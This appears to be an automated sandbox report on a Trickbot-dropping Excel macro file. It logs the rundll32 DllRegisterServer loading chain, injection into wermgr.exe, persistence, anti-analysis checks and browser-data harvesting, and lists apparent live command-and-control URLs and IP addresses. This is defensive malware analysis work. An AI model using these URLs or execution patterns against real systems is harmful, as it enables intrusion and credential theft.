Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007B470 NtDelayExecution,		6_2_0007B470
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000743C0 NtQuerySystemInformation,DuplicateHandle,CLSIDFromString,HeapFree,		6_2_000743C0

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00068010	6_2_00068010
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00082060	6_2_00082060
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007BCA0	6_2_0007BCA0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00078CA0	6_2_00078CA0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006E0F0	6_2_0006E0F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000789B0	6_2_000789B0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00069200	6_2_00069200
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000743C0	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00077840	6_2_00077840
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00080870	6_2_00080870
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000644C0	6_2_000644C0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000790E0	6_2_000790E0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000714F0	6_2_000714F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061500	6_2_00061500
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00076100	6_2_00076100
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00076D10	6_2_00076D10
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00072580	6_2_00072580
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007CA00	6_2_0007CA00
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007BE20	6_2_0007BE20
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00077630	6_2_00077630
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007CE70	6_2_0007CE70
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006A280	6_2_0006A280
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006C290	6_2_0006C290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006CEB0	6_2_0006CEB0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007B700	6_2_0007B700
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00073B00	6_2_00073B00
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0006E310	6_2_0006E310
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00062720	6_2_00062720
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00075F70	6_2_00075F70
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000763A8	6_2_000763A8
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000717B0	6_2_000717B0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000A0040	6_2_000A0040

Source: Sign-1870635479_637332644.xls

OLE indicator, VBA macros: true

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB
Source: Joe Sandbox View	Dropped File: C:\Users\user\BASE.BABAA AA7931E3E85D3C5BD6FC2052C38BEE389BFBA9281A8616DA3275149A689EC5EB

Source: Sign-1870635479_637332644.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: rundll32.exe, 00000003.00000002.2101338428.0000000001B80000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2099089069.0000000001E10000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2370111419.0000000033B90000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2364431540.00000000007E0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLS@12/14@8/7

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_00064C40 LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,

6_2_00064C40

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006376C CoCreateInstance,

6_2_0006376C

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\EADE0000

Jump to behavior

Source: C:\Windows\System32\wermgr.exe

Mutant created: \Sessions\1\BaseNamedObjects\Global\{BA5C2D35-9525-F18A-93AF-F2722C9E59B0}

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCDD9.tmp

Jump to behavior

Source: Sign-1870635479_637332644.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\System32\wermgr.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe
Source: unknown	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {C999D15C-7BEE-4793-989A-0EF4E6A22007} S-1-5-18:NT AUTHORITY\System:Service:
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor3154395120\ujBASEmc.rrd',DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor3154395120\ujBASEmc.rrd',DllRegisterServer	Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{92BDB7E4-F28B-46A0-B551-45A52BDD5125}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Data Obfuscation:

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_007C1BD0 push dword ptr [edx+14h]; ret	4_2_007C1CDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_007C1CFD push dword ptr [edx+14h]; ret	4_2_007C1CDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_007C1C7A push dword ptr [edx+14h]; ret	4_2_007C1CDD
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007D0F0 push 8B48D233h; iretd	6_2_0007D0F5

Persistence and Installation Behavior:

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\BASE.BABAA

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\BASE.BABAA			Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\BASE.BABAA

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Source: C:\Windows\System32\wermgr.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Windows\System32\wermgr.exe

Function Chain: threadCreated,threadDelayed,threadDelayed,userTimerSet,threadDelayed,threadDelayed,fileVolumeQueried,adjustToken,handleClosed,systemQueried,systemQueried,threadDelayed,mutantCreated,threadInformationSet,threadInformationSet,languageOrLocalQueried,threadDelayed,threadDelayed,threadDelayed,threadInformationSet,threadInformationSet,systemQueried,systemQueried,fileOpened,directoryQueried

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\System32\wermgr.exe

RDTSC instruction interceptor: First address: 000000000006EAD0 second address: 000000000006EAD0 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 ret 0x0000000a dec esp 0x0000000b mov edi, eax 0x0000000d call dword ptr [0000E3AEh] 0x00000013 jmp 00007F110CB35C50h 0x00000015 jmp dword ptr [0007C47Ah] 0x0000001b mov ecx, dword ptr [7FFE0004h] 0x00000022 dec eax 0x00000023 mov eax, dword ptr [7FFE0320h] 0x0000002a dec eax 0x0000002b imul eax, ecx 0x0000002e dec eax 0x0000002f shr eax, 18h 0x00000032 ret 0x00000033 inc esp 0x00000034 mov esi, eax 0x00000036 dec ecx 0x00000037 mov esi, edi 0x00000039 dec eax 0x0000003a xor esi, FFFFFF00h 0x00000040 dec ecx 0x00000041 and esi, edi 0x00000043 call 00007F110CB2DAE6h 0x00000048 rdtsc

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006EAD0 rdtsc

6_2_0006EAD0

Source: C:\Windows\System32\wermgr.exe

Code function: GetAdaptersInfo,

6_2_000784E0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes

Jump to dropped file

Source: C:\Windows\System32\taskeng.exe TID: 2472

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\wermgr.exe	Last function: Thread delayed
Source: C:\Windows\System32\wermgr.exe	Last function: Thread delayed

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290 FindFirstFileW,	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000646F0 FindFirstFileW,FindNextFileW,	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007FBB0 FindFirstFileW,SleepEx,FindNextFileW,	6_2_0007FBB0

Anti Debugging:

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006EAD0 rdtsc

6_2_0006EAD0

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_00073070 LdrLoadDll,

6_2_00073070

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6E40B044 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6E40B044

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E40B044 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E40B044
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E407DE5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6E407DE5
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00082060 SetCurrentDirectoryW,SleepEx,SetTimer,RtlAddVectoredExceptionHandler,	6_2_00082060

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Memory allocated: C:\Windows\System32\wermgr.exe base: 60000 protect: page execute and read and write

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\wermgr.exe base: 60000			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\wermgr.exe base: FF2B93F8			Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor3154395120\ujBASEmc.rrd',DllRegisterServer	Jump to behavior

Source: wermgr.exe, 00000006.00000002.2364543296.0000000000710000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: wermgr.exe, 00000006.00000002.2364543296.0000000000710000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: wermgr.exe, 00000006.00000002.2364543296.0000000000710000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Windows\System32\wermgr.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Source: C:\Windows\System32\wermgr.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Blob

Jump to behavior

Stealing of Sensitive Information:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2832, type: MEMORY

Yara detected Trickbot

Show sources

Source: Yara match	File source: 00000004.00000002.2098758914.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2094809366.0000000000324000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2094797786.0000000000324000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2099036393.0000000000878000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2098808409.00000000002F0000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultSecurityPreloadState.txt	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultcompatibility.ini	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultAlternateServices.txt	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.defaultSiteSecurityServiceState.txt	Jump to behavior

Remote Access Functionality:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2832, type: MEMORY

Yara detected Trickbot

Show sources

Source: Yara match	File source: 00000004.00000002.2098758914.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2094809366.0000000000324000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2094797786.0000000000324000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2099036393.0000000000878000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2098808409.00000000002F0000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Extra Window Memory Injection1	Disable or Modify Tools21	OS Credential Dumping1	File and Directory Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Access Token Manipulation1	Scripting21	LSASS Memory	System Information Discovery114	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel22	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Process Injection212	Obfuscated Files or Information2	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Extra Window Memory Injection1	NTDS	Security Software Discovery22	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading121	LSA Secrets	Virtualization/Sandbox Evasion1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion1	Cached Domain Credentials	Process Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Access Token Manipulation1	DCSync	Remote System Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection212	Proc Filesystem	System Network Configuration Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Rundll321	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	11%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes	41%	ReversingLabs	Win32.Trojan.Trickpak
C:\Users\user\BASE.BABAA	11%	Metadefender		Browse
C:\Users\user\BASE.BABAA	41%	ReversingLabs	Win32.Trojan.Trickpak

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Link
ident.me	0%	Virustotal	Browse
chipmania.it	1%	Virustotal	Browse
www.chipmania.it	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://ident.me/	0%	Avira URL Cloud	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://cps.letsencrypt.org0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://www.chipmania.it/mails/open.php	100%	Avira URL Cloud	malware
http://crl.microsofv	0%	Avira URL Cloud	safe
https://193.8.194.96/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/14/NAT%20status/client%20	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://r3.i.lencr.org/0;	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
https://103.233.118.34:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/	0%	Avira URL Cloud	safe
https://103.220.47.220:447/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/pwgrab64/	0%	Avira URL Cloud	safe
https://45.155.173.242/rob60/134349_W617601.1D7953BB38B5711FB702EBB79BB8BAD5/5/file/	0%	Avira URL Cloud	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe
http://cps.root-x1.letsencrypt.org0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ident.me	176.58.123.25	true	false	0%, Virustotal, Browse	unknown
chipmania.it	185.81.0.78	true	false	1%, Virustotal, Browse	unknown
38.52.17.84.zen.spamhaus.org	unknown	unknown	false		high
38.52.17.84.cbl.abuseat.org	unknown	unknown	false		high
